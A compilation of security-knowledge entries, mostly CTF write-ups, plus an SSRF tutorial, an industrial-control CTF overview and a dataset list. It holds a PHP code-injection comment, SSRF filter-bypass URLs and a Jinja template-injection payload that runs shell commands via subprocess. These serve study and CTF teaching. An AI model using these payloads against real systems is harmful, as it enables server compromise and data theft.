### ICS_CTF 利用概述 > ICS CTF竞赛内容来自于作者自身打比赛经验,如有不对之处,请各位多多谅解 Exploit是针对某种漏洞提供的多种利用方法,针对某一种漏洞可以有很多利用方法。 针对工控领域,其实目前多见的利用方式:组态利用、通信劫持、Web渗透。 ### ICS_CTF组态利用概述 组态是工控场景的核心,是工控编程与实现功能的核心内容,如果你不太懂组态,请自行学习自动化领域工业控制系统组态的相关书籍。 最好的学习方式是拿到相关的产品说明书,针对说明书上的内容一点一点学习。 组态的利用方法: 1. 强制IO(最管用的一种调试方法) 2. 工程加密与解密(工程加密是PLC一种保护措施,但仍存在被破解的可能) 3. 上载下载(基础概念请自行恶补) 4. PLC等目标设备的内存分布(基础概念请自行恶补) 5. 其他附加功能(例如ftp、ntp等) ### ICS_CTF通信劫持概述 通信劫持是工控场景中最经典利用方式,例如ARP劫持、PLC/HMI通信劫持、PLC会话劫持、PLC命令执行等内容。 通信劫持的方法: 1. ARP劫持,ARP劫持可以阻断PLC与其他设备的通信,鉴于工程会存在写死IP等交互地址,未必管用,但是值得一试 2. PLC/HMI通信劫持,采用旁路设备接入或控制PLC设备,对IO进行强制重写或输出 3. PLC命令执行,针对工控设备最敏感的部分是设备宕机(无法恢复的)、设备启停、设备强制更新参数,等等这些对普通工艺能够产生较大的影响。 ### ICS_CTFWeb渗透概述 目标企业往往存在Web类工控应用,例如发布工艺发布页面,用户数据库等页面,这些内容基本与平日Web题目无异。 1. 弱口令(工控里比较常见,工控设备中厂商默认密码) 2. 命令注入(比较普遍,需要审计Web工程源码) 3. 目录遍历(手测简单,利用难,需要结合上传等功能实现) 4. 预置后门(比较难以发现,需要逆向和Web渗透相结合) 5. SQL类注入(比较简单) 6. XSS在这里基本无用(基本没怎么遇到过) 7. 工程文件泄露(.git/.idea/.project等工程文件泄露)
sec-knowleage
# Cody's First Blog - FLAG2 ## 0x00 Modifiy URL Parameter Try modify the url http://127.0.0.1/xxxxxxxxxx/?page=admin.inc To http://127.0.0.1/xxxxxxxxxx/?page=index The error shows ``` Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 16384 bytes) in /app/index.php on line 20 ``` So it will append **.php** at the end and execute the file. ## 0x01 SSRF / Inclusion Bug http://127.0.0.1/xxxxxxxxxx/?page=http://localhost/index Both the XSS and phpinfo() injection executed properly. But still no flag. ![](./imgs/ssrf.jpg) ## 0x02 Read File Add a new comment to read index.php. ``` php <?php echo readfile("index.php")?> ``` And approve it in admin page. ![](./imgs/approve.jpg) ## 0x03 FLAG Press **F12** to check the source again. ![](./imgs/flag.jpg) It print out the whole index.php file. ```php <?php // ^FLAG^{FLAG2}$FLAG$ mysql_connect("localhost", "root", ""); mysql_select_db("level4"); $page = isset($_GET['page']) ? $_GET['page'] : 'home.inc'; if(strpos($page, ':') !== false && substr($page, 0, 5) !== "http:") $page = "home.inc"; if(isset($_POST['body'])) { mysql_query("INSERT INTO comments (page, body, approved) VALUES ('" . mysql_real_escape_string($page) . "', '" . mysql_real_escape_string($_POST['body']) . "', 0)"); if(strpos($_POST['body'], '<?php') !== false) echo '<p>^FLAG^{FLAG1}$FLAG$</p>'; ?> ```
sec-knowleage
## 一、定义 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统) SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。注意:除了http/https等方式可以造成ssrf,类似tcp connect 方式也可以探测内网一些ip 的端口是否开发服务,只不过危害比较小而已。 ## 二、SSRF 漏洞的寻找 ### SSRF寻找方式----WEB功能上寻找 1. 分享:通过url 地址分享网页内容 http://share.v.t.qq.com/index.php?c=share&a=index&title=&url=http://www.baidu.com 通过目标URL地址获取了title标签和相关文本内容。而如果在此功能中没有对目标地址的范围做过滤与限制则就存在着SSRF漏洞。 2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览 由于手机屏幕大小的关系,直接浏览网页内容的时候会造成许多不便,因此有些公司提供了转码功能,把网页内容通过相关手段转为适合手机屏幕浏览的样式。例如百度、腾讯、搜狗等公司都有提供在线转码服务。 3. 在线翻译:通过URL地址翻译对应文本的内容。例如有道词典、UC、QQ浏览器等。 http://b2.wap.soso.com/sweb/detail.jsp?icfa=1327068&sid=AaEj1UgdrgdWthTwdJnvPeTI&g_ut=2&url=http://admin.soso.com 4. 图片加载与下载:通过URL地址加载或下载图片 http://read.html5.qq.com/image?imageUrl=http://10.156.52.13/favicon.ico http://img.store.sogou.com/net/a/08/link?appid=100520033&url=http://10.12.139.10/favicon.ico 图片加载远程图片地址此功能用到的地方很多,但大多都是比较隐秘,比如在有些公司中的加载自家图片服务器上的图片用于展示。(此处可能会有人有疑问,为什么加载图片服务器上的图片也会有问题,直接使用img标签不就好了? 没错是这样,但是开发者为了有更好的用户体验通常对图片做些微小调整例如加水印、压缩等,所以就可能造成SSRF问题)。 ​ 5. 图片、文章收藏功能 此处的图片、文章收藏中的文章收藏就类似于功能一、分享功能中获取URL地址中title以及文本的内容作为显示,目的还是为了更好的用户体验,而图片收藏就类似于功能四、图片加载。 6. 未公开的api实现以及其他扩展调用URL的功能 此处类似的功能有360提供的网站评分,以及有些网站通过api获取远程地址xml文件来加载内容。 http://visopen.vipshop.com/doc/sdk/php/aj_interface.php?api_name=e&api_url=http://内网WEB路径&callback=jQuery191011010590475052595_1432854159288&o=json&_=1432854159289 ### SSRF寻找方式----URL关键字中寻找 关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain 利用google 语法加上这些关键字去寻找SSRF漏洞 http://share.renren.com/share/buttonshare.do?link=http://t.cn/RwbLKDx http://qing.blog.sina.com.cn/blog/controllers/share.php?url=10.210.75.3 ​ ## 三、SSRF 验证方式 1. 用抓包工具看请求由客户端发起还是服务端发起(漏洞),如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址 --从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址 --通过二级域名暴力猜解工具模糊猜测内网地址 3. 直接返回的Banner、title、content等信息 3. 利用file协议 读取本地文件等 4. bool型SSRF 5. 关于盲打ssrf的用例,可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。 ## 四、SSRF 绕过方式 1)http://[email protected] 与 http://10.153.138.81 请求是相同的 2) 短网址 http://t.cn/RwbLKDx 3)ip地址转换成进制来访问 4)xxx.10.153.138.81.xip.io 10.153.138.81 (xxx 任意) 指向任意ip的域名:xip.io(37signals开发实现的定制DNS服务) 5)例如 http://10.153.138.81/ts.php , 修复时容易出现的获取host时以/分割来确定host, 但这样可以用 http://[email protected]/ 绕过 6)限制了子网段,可以加 :80 端口绕过。http://tieba.baidu.com/f/commit/share/openShareApi?url=http://10.42.7.78:80 7)探测内网域名,或者将自己的域名解析到内网ip 8) [DNS rebinding](https://paper.seebug.org/390/) 绕过 ## 五、如何修复 1. 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。 2. 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。 3. 白名单内网ip。避免应用被用来获取获取内网数据,攻击内网。 4. 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///, gopher://, ftp:// 等引起的问题。 5. 限制请求的端口为http常用的端口,比如 80、443、8080、8090。 6. 对于DNS rebinding 绕过,需要在底层进行hook,即在每次发起socket 连接前进行判断目标ip地址的合法性,比如go 语言可以借助net.Dialer包 提供的能力来实现,参考[Preventing Server Side Request Forgery in Golang](https://www.agwa.name/blog/post/preventing_server_side_request_forgery_in_golang)
sec-knowleage
## Fake 150 (re, 150p) ### PL [ENG](#eng-version) Dostajemy [program](./fake) (elf), do analizy, i rozpoczynamy od zdekompilowania go: int main(int argc, char **argv) { v = 0; vv = (v >> 19); vvv = (v >> 63); if (argc > 1) { v = strtol(argv[1], 0, 10); } uint64_t va[5]; va[0] = 1019660215 * v; va[1] = 2676064947712729 * ((v >> 19) - 2837 * (((int64_t)((6658253765061184651 * (v >> 19)) >> 64) >> 10) - (v >> 63))) * ((v >> 19) - 35 * (((int64_t)((1054099661354831521 * (v >> 19)) >> 64) >> 1) - (v >> 63))) * ((v >> 19) - 33 * (((int64_t)((1117984489315730401 * (v >> 19)) >> 64) >> 1) - (v >> 63))); va[2] = (vv - 9643 * (((int64_t)((1958878557656183849 * vv) >> 64) >> 10) - vvv)) * 5785690976857702 * (vv - 167 * (((int64_t)((7069410902499468883 * vv) >> 64) >> 6) - vvv)); va[3] = (vv - 257 * (((int64_t)((9187483429707480961 * vv) >> 64) >> 7) - vvv)) * 668176625215826 * (vv - 55 * (((int64_t)((5366325548715505925 * vv) >> 64) >> 4) - vvv)); va[4] = (vv - 48271 * (((int64_t)((1565284823722614477 * vv) >> 64) >> 12) - vvv)) * 2503371776094 * (vv - 23 * (((int64_t)(vv + ((0x0B21642C8590B2165 * vv) >> 64)) >> 4) - vvv)); puts((const char *)va); return 0; } Jak widać wykonywane jest tutaj sporo operacji matematycznych, a potem wynikowa liczba wypisywana jako tekst na konsolę. Piszemy więc prosty skrypt w pythonie, który po prostu zbrutuje możliwe liczby i wypisze wynik. Założenie jest takie, że output zaczyna się od ASIS{ oraz zawiera tylko znaki 0..9a..f. Sprawdzamy więc bruteforcując wszystkie możliwe dane wejściowe dla pierwszej operacji. Wiemy że: X * M === 'ASIS{...' (mod 2^64) <=> X === 'ASIS{...' * M^-1 (mod 2^64). Odwrotność modularną M możmy łatwo wyliczyć za pomocą rozszerzonego algorytmu euklitesa, więc mamy 2^24 możliwości do sprawdzenia na trzy pozostałe bajty (to był błąd swoją drogą, wystarczyło sprawdzać charset 0..9a..f zamiast pełnego zakresu bajta, wtedy możliwoścy byłoby ledwo 4096). Następnie dla każdej z tych opcji sprawdzamy czy zgadza się kolejne równanie (czyli bajty 2676064947712729*... są w charsecie 0..9a..f), i otrzymujemy porządnie przefiltrowaną listę możliwych rozwiązań. import struct start = 'ASIS{xxx' def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m def tou64(v): return struct.unpack('<q', struct.pack('<Q', v))[0] N = 2 ** 64 M = 1019660215 M1 = modinv(M, N) v = 1 vv = v * 1019660215 vvv = struct.pack('<Q', vv) # vv = 0x415349537bxxxxxx vvmin = 0x0000007b53495341 vvmax = 0xffffff7b53495341 i = vvmin while i <= vvmax: v = (i * M1) % N v = tou64(v) v2 = (2676064947712729 * ((v >> 19) - 2837 * ((((6658253765061184651 * (v >> 19)) >> 64) >> 10) - (v >> 63))) * ((v >> 19) - 35 * ((((1054099661354831521 * (v >> 19)) >> 64) >> 1) - (v >> 63))) * ((v >> 19) - 33 * ((((1117984489315730401 * (v >> 19)) >> 64) >> 1) - (v >> 63)))) % N v2 = struct.pack('<Q', v2) if all(c in '0123456789abcdef' for c in v2): print v i += 0x10000000000 Wyników wyszło dość dużo: E:\User\Code\RE\CTF\2015-10-10 asisfin\re_150_fake>python fake.py 890777067138092231 2980647405354257607 1536404797410020551 6863131814682463431 1636293229770214599 698726470626086087 4493585300778683591 25313971399 6583455638994848967 5139213031050611911 5239101463410805959 4301534704266677447 8096393534419274951 3602808258954562759 8742021264691203271 8841909697051397319 7904342937907268807 3260323581041872071 7205616492595154119 Można by wszystkie false positivy wyeliminować sprawdzając jeszcze wynik następnego działania, ale wyników jest na tyle mało że prościej przetestować je wszystkie masowo poleceniem: vagrant@precise64:/vagrant$ cat te.txt | xargs -l ./fake ASIS{▒7af556bd▒^9▒▒▒_P▒#▒e▒'▒▒▒f ASIS{+▒!7af556bd▒▒▒̀▒▒IK▒▒t'p▒R▒*un ASIS{▒▒"7af556bd▒▒VZ▒e▒H5▒▒▒▒;3 ASIS{8▒57af556bd`▒ӡ5▒e▒6▒▒▒T▒B▒▒▒ ASIS{▒▒<7af556bdଜRF@b▒nwR▒_ ASIS{X=7af556bd▒2▒▒▒▒▒▒▒\▒▒3X~▒CӤ ASIS{▒:Z7af556bd6▒▒▒▒?\L▒c▒6J ASIS{f5f7af556bd6973bd6f2687280a243d9} ASIS{▒6g7af556bdʇ▒Dj▒▒b▒.▒)-▒▒ ASIS{G@h7af556bd E▒:▒▒▒X▒&p[▒`\0▒V▒A ASIS{g▒7af556bdd▒;R▒b▒▒HI▒▒▒▒▒p▒1▒c▒▒ ASIS{▒▒▒7af556bdp▒DR>▒▒▒▒M▒f▒<dU▒\,▒ ASIS{#▒▒7af556bd▒5▒?`3▒▒9▒. 6w▒O▒▒D ASIS{▒7af556bd<^-▒]ro* ASIS{Њ▒7af556bd▒N▒▒>▒rhUp▒▒G▒)@▒▒▒%" mp▒#S3▒m▒▒s▒F▒bd▒{7' ASIS{▒▒7af556bd▒?▒▒$▒p ▒<▒[ ASIS{▒v▒7af556bd▒▒&▒y3|xRR▒0▒92▒?▒▒▒. ASIS{x▒▒7af556bd▒Z Oczywiście w oczy rzuca się poprawna flaga - ASIS{f5f7af556bd6973bd6f2687280a243d9}. I od mamy +150 punktów. ### ENG version We get a [binary](./fake) (elf), for analysis and we start by decompilation: int main(int argc, char **argv) { v = 0; vv = (v >> 19); vvv = (v >> 63); if (argc > 1) { v = strtol(argv[1], 0, 10); } uint64_t va[5]; va[0] = 1019660215 * v; va[1] = 2676064947712729 * ((v >> 19) - 2837 * (((int64_t)((6658253765061184651 * (v >> 19)) >> 64) >> 10) - (v >> 63))) * ((v >> 19) - 35 * (((int64_t)((1054099661354831521 * (v >> 19)) >> 64) >> 1) - (v >> 63))) * ((v >> 19) - 33 * (((int64_t)((1117984489315730401 * (v >> 19)) >> 64) >> 1) - (v >> 63))); va[2] = (vv - 9643 * (((int64_t)((1958878557656183849 * vv) >> 64) >> 10) - vvv)) * 5785690976857702 * (vv - 167 * (((int64_t)((7069410902499468883 * vv) >> 64) >> 6) - vvv)); va[3] = (vv - 257 * (((int64_t)((9187483429707480961 * vv) >> 64) >> 7) - vvv)) * 668176625215826 * (vv - 55 * (((int64_t)((5366325548715505925 * vv) >> 64) >> 4) - vvv)); va[4] = (vv - 48271 * (((int64_t)((1565284823722614477 * vv) >> 64) >> 12) - vvv)) * 2503371776094 * (vv - 23 * (((int64_t)(vv + ((0x0B21642C8590B2165 * vv) >> 64)) >> 4) - vvv)); puts((const char *)va); return 0; } As can be notices there are a lot of mathematical operations and the the result number is printed out to the console. So we write a simple python script, which will brute-force all possible numbers and print the result. The assumption is that the output starts with `ASIS{` and contains only 0..9a..f. So we test the results of multiplication by bruteforcing every possible input for first operation. We know that: X * M === 'ASIS{...' (mod 2^64) <=> X === 'ASIS{...' * M^-1 (mod 2^64). We can easily compute modular inverse of M using extended euclidean algorithm, so we have 2^24 possible values to test for remaining three bytes (by the way, checking entire byte range was an overkill, 0..9a..f had to be enough and would reduce search space to 4096). Then, for each checked input, we verify next equation (i.e. all bytes of 2676064947712729*... are in 0..9a..f range), and we get just a few possible solutions. import struct start = 'ASIS{xxx' def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m def tou64(v): return struct.unpack('<q', struct.pack('<Q', v))[0] N = 2 ** 64 M = 1019660215 M1 = modinv(M, N) v = 1 vv = v * 1019660215 vvv = struct.pack('<Q', vv) # vv = 0x415349537bxxxxxx vvmin = 0x0000007b53495341 vvmax = 0xffffff7b53495341 i = vvmin while i <= vvmax: v = (i * M1) % N v = tou64(v) v2 = (2676064947712729 * ((v >> 19) - 2837 * ((((6658253765061184651 * (v >> 19)) >> 64) >> 10) - (v >> 63))) * ((v >> 19) - 35 * ((((1054099661354831521 * (v >> 19)) >> 64) >> 1) - (v >> 63))) * ((v >> 19) - 33 * ((((1117984489315730401 * (v >> 19)) >> 64) >> 1) - (v >> 63)))) % N v2 = struct.pack('<Q', v2) if all(c in '0123456789abcdef' for c in v2): print v i += 0x10000000000 There are quite some results: E:\User\Code\RE\CTF\2015-10-10 asisfin\re_150_fake>python fake.py 890777067138092231 2980647405354257607 1536404797410020551 6863131814682463431 1636293229770214599 698726470626086087 4493585300778683591 25313971399 6583455638994848967 5139213031050611911 5239101463410805959 4301534704266677447 8096393534419274951 3602808258954562759 8742021264691203271 8841909697051397319 7904342937907268807 3260323581041872071 7205616492595154119 We could add checking the thrid condition to the script so remove false-positives but since there are only a couple of those it's easier to simply run: vagrant@precise64:/vagrant$ cat te.txt | xargs -l ./fake ASIS{▒7af556bd▒^9▒▒▒_P▒#▒e▒'▒▒▒f ASIS{+▒!7af556bd▒▒▒̀▒▒IK▒▒t'p▒R▒*un ASIS{▒▒"7af556bd▒▒VZ▒e▒H5▒▒▒▒;3 ASIS{8▒57af556bd`▒ӡ5▒e▒6▒▒▒T▒B▒▒▒ ASIS{▒▒<7af556bdଜRF@b▒nwR▒_ ASIS{X=7af556bd▒2▒▒▒▒▒▒▒\▒▒3X~▒CӤ ASIS{▒:Z7af556bd6▒▒▒▒?\L▒c▒6J ASIS{f5f7af556bd6973bd6f2687280a243d9} ASIS{▒6g7af556bdʇ▒Dj▒▒b▒.▒)-▒▒ ASIS{G@h7af556bd E▒:▒▒▒X▒&p[▒`\0▒V▒A ASIS{g▒7af556bdd▒;R▒b▒▒HI▒▒▒▒▒p▒1▒c▒▒ ASIS{▒▒▒7af556bdp▒DR>▒▒▒▒M▒f▒<dU▒\,▒ ASIS{#▒▒7af556bd▒5▒?`3▒▒9▒. 6w▒O▒▒D ASIS{▒7af556bd<^-▒]ro* ASIS{Њ▒7af556bd▒N▒▒>▒rhUp▒▒G▒)@▒▒▒%" mp▒#S3▒m▒▒s▒F▒bd▒{7' ASIS{▒▒7af556bd▒?▒▒$▒p ▒<▒[ ASIS{▒v▒7af556bd▒▒&▒y3|xRR▒0▒92▒?▒▒▒. ASIS{x▒▒7af556bd▒Z And so we can see the real flag: ASIS{f5f7af556bd6973bd6f2687280a243d9}. And we have +150 points.
sec-knowleage
# 0CTF 2019 Quals Team: c7, shalom, des, nazywam, Eternal, rodbert ### Table of contents * [Baby RSA (crypto)](crypto_babyrsa) * [Zer0lfsr (crypto)](crypto_lfsr) * [Baby Sponge (crypto)](crypto_keccak) * [Ghost pepper (web)](web_osgi)
sec-knowleage
# 开放安全数据集整理 整理、汇总网络安全方面的开放数据集,在[awesome-ml-for-cybersecurity](https://github.com/jivoi/awesome-ml-for-cybersecurity)和[**wstart**](https://xz.aliyun.com/u/395)师傅的文章[1]基础上进行补充和修改。 ## 网络安全相关 - [Samples of Security Related Data](http://www.secrepo.com/) - [DARPA Intrusion Detection Data Sets](https://www.ll.mit.edu/r-d/datasets) [ [1998](https://www.ll.mit.edu/r-d/datasets/1998-darpa-intrusion-detection-evaluation-dataset) / [1999](https://www.ll.mit.edu/r-d/datasets/1999-darpa-intrusion-detection-evaluation-dataset) ] - [Stratosphere IPS Data Sets](https://stratosphereips.org/category/dataset.html) - [Open Data Sets](http://csr.lanl.gov/data/) - [Data Capture from National Security Agency](http://www.westpoint.edu/crc/SitePages/DataSets.aspx) - [The ADFA Intrusion Detection Data Sets](https://www.unsw.adfa.edu.au/australian-centre-for-cyber-security/cybersecurity/ADFA-IDS-Datasets/) - **ADFA IDS Datasets** 是澳大利亚国防大学发布的一套关于HIDS的数据集。分为Linux(ADFA-LD)和Windows(ADFA-WD) - 内容类型:主机行为 - 是否特征化:是 - 使用范围:入侵检测 - [NSL-KDD Data Sets](https://github.com/defcom17/NSL_KDD) - [Malicious URLs Data Sets](http://sysnet.ucsd.edu/projects/url/) - [Multi-Source Cyber-Security Events](http://csr.lanl.gov/data/cyber1/) - [KDD Cup 1999 Data](http://kdd.ics.uci.edu/databases/kddcup99/kddcup99.html) - KDD竞赛在1999年举行时采用的数据集。1998年美国国防部高级规划署(DARPA)在MIT林肯实验室进行了一项入侵检测评估项目收集而来的数据 - 内容类型:网络流量、主机行为 - 是否特征化:是 - 适用范围:主机入侵检测、异常流量监控 - [Web Attack Payloads](https://github.com/foospidy/payloads) - [WAF Malicious Queries Data Sets](https://github.com/faizann24/Fwaf-Machine-Learning-driven-Web-Application-Firewall) - [Malware Training Data Sets](https://github.com/marcoramilli/MalwareTrainingSets) - [Aktaion Data Sets](https://github.com/jzadeh/Aktaion/tree/master/data) - [CRIME Database from DeepEnd Research](https://www.dropbox.com/sh/7fo4efxhpenexqp/AADHnRKtL6qdzCdRlPmJpS8Aa/CRIME?dl=0) - [Publicly available PCAP files](http://www.netresec.com/?page=PcapFiles) - [2007 TREC Public Spam Corpus](https://plg.uwaterloo.ca/~gvcormac/treccorpus07/) - [Drebin Android Malware Dataset](https://www.sec.cs.tu-bs.de/~danarp/drebin/) - [PhishingCorpus Datset](https://monkey.org/~jose/phishing/) - [EMBER](https://github.com/endgameinc/ember) - [Vizsec Research](https://vizsec.org/data/) - [SHERLOCK](http://bigdata.ise.bgu.ac.il/sherlock/index.html#/) - [Probing / Port Scan - Dataset](https://github.com/gubertoli/ProbingDataset) - [Aegean Wireless Intrusion Dataset (AWID)](http://icsdweb.aegean.gr/awid/) - [HTTP DATASET CSIC 2010](http://www.isi.csic.es/dataset/) - **HTTP DATASET CSIC 2010** 包含已经标注过的针对web服务的请求。数据量约5w条。下载地址已经为我们分类好了训练用的正常数据,测试用的正常数据,测试用的异常数据 - 内容类型:网络流量 - 是否特征化:否 - 使用范围:WAF类产品、异常流量监控 - [honeypot.json](http://www.secrepo.com/honeypot/honeypot.json.zip) - honeypot 是由多种类型的蜜罐采集回来的数据。主要是WEB请求。约99万条数据。由于没有分类和规整,需要自己数据清洗,也可以用作校验模型的数据 - 内容类型:网络流量 - 是否特征化:否 - 使用范围:WAF类产品、异常流量监控 - [Masquerading User Data](https://xz.aliyun.com/t/1879) - **Masquerading User Data**(也被称为SEA数据集) 是Matthias Schonlau 教授通过正常数据构造出来用于训练和检测 Masquerading User攻击的数据集(内部攻击者分为两种,一种是内鬼[Traitor],一种是窃取了身份凭证的正常用户的伪装者[Masquerading User])由于是构造出来的数据,缺乏实际攻击的真实性,在一定程度上,训练出来的模型会存在一定的过拟 - 内容类型:主机行为 - 是否特征化:否 - 使用范围:入侵检测类、用户异常行为识别 - [360DGA](http://data.netlab.360.com/dga/) - 360安全厂商提供的DGA数据集,用于DAG域名检测,可作为黑样本 - 内容类型:文本样本 - 是否特征化:否 - 使用范围:入侵检测、异常流量、WAF - [Gameover Zeus DGA sample](https://www.secrepo.com/misc/zeus_dga_domains.txt.zip) 2014 - Zeus P2P僵尸网络的DGA恶意样本数据 - 内容类型:文本样本 - 是否特征化:否 - 使用范围:入侵检测、异常流量、WAF - [auth.log](http://www.secrepo.com/auth.log/auth.log.gz) - **auth.log** 主要是都是登录失败的日志 适合用作判断是爆破登录还是正常的输错密码 - 内容类型:主机行为 - 是否特征化:否 - 使用范围:入侵检测、异常流量、WAF - [malicious-URLs](https://github.com/faizann24/Using-machine-learning-to-detect-malicious-URLs) - **malicious-URLs** 在Github上面一个 使用机器学习去检测恶意URL的项目 ,里面有一个训练集,有做标记是正常的URL还是恶意的URL - 内容类型:文本样本 - 是否特征化:否 - 使用范围:入侵检测、异常流量、WAF - [The Malware Capture Facility Project](https://mcfp.weebly.com/mcfp-dataset.html) - **MCFP** 是捷克理工大学 (CTU)用于捕抓恶意软件的而抓去的网络流量。里面的数据非常多,有他们自己分析出来的恶意流量,也有所有的流量,包括网络文件、日志、DNS请求等 - 内容类型:网络流量 - 是否特征化:否 - 使用范围:异常流量、WAF - [MalwareDB](https://github.com/BaRRaKudaRain/MalwareDB) - 恶意软件库,包含恶意软件列表hash、检测结果、所属域名等数据 - 内容类型:文本样本 - 使用范围::特征库、入侵检测 - [flightsim](https://github.com/alphasoc/flightsim) - 一个工具,可以生成数据恶意流量数据,模拟DNS隧道、DGA通信、对活跃的C2服务器请求和其他一些可疑的流量数据 - 内容类型:网络流量(模拟) - 是否特征化:否 - 使用范围:异常流量、WAF、入侵检测 - [mordor](https://github.com/OTRF/mordor) - 模拟攻防对抗生成的安全事件数据,以JSON格式提供,并且按照[ATT&CK框架](https://attack.mitre.org/wiki/Main_Page)的定义。可以用于对攻防技术(TTPs)的检测。[说明文档](https://mordordatasets.com/introduction.html)。 - 内容类型:文本样本 - 是否特征化:否 - 适用范围:入侵检测、行为识别 ## 邮件相关 - [SpamBase](http://archive.ics.uci.edu/ml/datasets/Spambase) - 一个入门级的垃圾邮件分类训练集,已被特征化处理。特征为统计的关键字、特殊符号的词频等,一共58个属性,最后一位是垃圾邮件标记位 - 内容类型:文本样本、邮件文本(特征化) - 是否特征化:是 - 适用范围:垃圾邮件检测 - [Enron-Spam](http://www2.aueb.gr/users/ion/data/enron-spam/) - Enron(安然公司)破产后的归档邮件,有人工标注后和未标注的部分,使用文件夹进行区分 - 内容类型:邮件文本 - 是否特征化:是(部分)/否(全量) - 适用范围:垃圾邮件检测 ## 综合 - SecRepo.com - Samples of Security Related Data - 整理大量安全相关的数据集,包括网络、恶意软件、文件等 - [官网](https://www.secrepo.com/)、[GitHub](https://github.com/sooshie/secrepo) - Security Data Analysis - 总共4个lab,包含http,连接记录,域名,host等 - [GitHub](https://github.com/sooshie/Security-Data-Analysis) - webshell收集项目 - [GitHub](https://github.com/tennc/webshell) ## References \[1] 机器学习之安全数据集,[**wstart**](https://xz.aliyun.com/u/395),https://xz.aliyun.com/t/1879
sec-knowleage
# We got paged out, mr president! (forensic, misc, 973p) > We got some important data paged out. > Can you recover it? > pagefile.sys.gz > Hints: > The first key is named 'ct', the second one - 'fz'. Find out the remaining keys. This was an exercise in good Linux-fu. The file we had was 1GB large, so impossible to search by hand. Given the hint, we could deduce though that there should be `ct` and `fz` strings somewhere. Since `ct` is pretty common digraph (`action`, `direct`, and others), we decided to look for far rarer `fz`. Since this was a Windows dump, we searched for UTF-16 strings. And... done: ```bash λ strings -e l pagefile.sys | grep fz Computer\HKEY_LOCAL_MACHINE\SOFTWARE\ct\fz\one\{\r3g_\h4x\0r} ``` The flag is `ctfzone{r3g_h4x0r}`
sec-knowleage
version: '3' services: web: image: vulhub/nexus:3.21.1 ports: - "8081:8081" volumes: - ./admin.password:/nexus-data/admin.password
sec-knowleage
# Sha4 (web, 300pts, 16 solves) > tl;dr > local file read, race condition, hash collision, template injection ![scr1](scr1.png) Start off by noticing that we have a local file read via the second form: ![scr2](scr2.png) Lets find out where the application root is: `etc/apache2/sites-enabled/000-default.conf` ``` <VirtualHost *:80> ServerName sha4 WSGIDaemonProcess sha4 user=www-data group=www-data threads=8 request-timeout=10 WSGIScriptAlias / /var/www/sha4/sha4.wsgi <directory /var/www/sha4> WSGIProcessGroup sha4 WSGIApplicationGroup %{GLOBAL} WSGIScriptReloading On Order deny,allow Allow from all </directory> ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost> ``` Great! [file:////var/www/sha4/server.py](server.py) [file:////var/www/sha4/sha4.py](sha4.py) ``` python out_text = str(decode(ber)) open(f, "w").write(out_text) if is_unsafe(out_text): return render_template_string(unsafe) commentt = comment % open(f).read() return render_template_string(commentt, comment=out_text.replace("\n","<br/>")) ``` Is vulnerable to race condition and template injection. We can first send a valid input that passes the `is_unsafe` check and then a malicious input that injects the template. The contents of the file will be overwritten for the first execution so it will actually evaluate the malicious payload. But in order to do that we need 2 different inputs that produce the same `hash`: ``` python def hash(x): h0 = "SHA4_IS_" h1 = "DA_BEST!" keys = unpad(x) for key in keys: h0 = DES.new(key).encrypt(h0) h1 = DES.new(key).encrypt(h1) return h0+h1 ``` `unpad` function works as expected, it takes 7 8-bit bytes and output 8 7-bit bytes, pic rel: ![scr3](scr3.png) DES.encrypt was the problem. DES, although takes 8 bytes as key, is not using all 64 bits, but only 56. It ignores lsb of each byte. This means we can actually get identical encryption results as long as the key differs only on lsb. So we could perform bitflips to bypass the whitelist with one of the payloads, while the other payload with malicious injection would have the same hash. After generating a valid input pair we simply smash them agains the server and hope to get the flag via usual template injection: ```python {{3*3*3*3}} {% set loadedClasses = " ".__class__.__mro__[2].__subclasses__() %} {% for loadedClass in loadedClasses %} {% if loadedClass.__name__ == "catch_warnings".strip() %} {% set builtinsReference = loadedClass()._module.__builtins__ %} {% set os = builtinsReference["__import__".strip()]("subprocess".strip()) %} {{ os.check_output("cat sha4/flag_bilaabluagbiluariglublaireugrpoop".strip(), shell=True) }} {% endif %} {% endfor %} ``` [full script](script.py) Which gives `PCTF{th3 security aspect of cyber is very very tough}`
sec-knowleage
# Basics Category: Hardware > With all those CPU bugs I don't trust software anymore, so I came up with my custom TPM (trademark will be filed soon!). You can't break this, so don't even try. The following files were attached: `main.cpp`: ```cpp #include "obj_dir/Vcheck.h" #include <iostream> #include <memory> int main(int argc, char *argv[]) { Verilated::commandArgs(argc, argv); std::cout << "Enter password:" << std::endl; auto check = std::make_unique<Vcheck>(); for (int i = 0; i < 100 && !check->open_safe; i++) { int c = fgetc(stdin); if (c == '\n' || c < 0) break; check->data = c & 0x7f; check->clk = false; check->eval(); check->clk = true; check->eval(); } if (check->open_safe) { std::cout << "CTF{real flag would be here}" << std::endl; } else { std::cout << "=(" << std::endl; } return 0; } ``` `check.sv`: ```verilog module check( input clk, input [6:0] data, output wire open_safe ); reg [6:0] memory [7:0]; 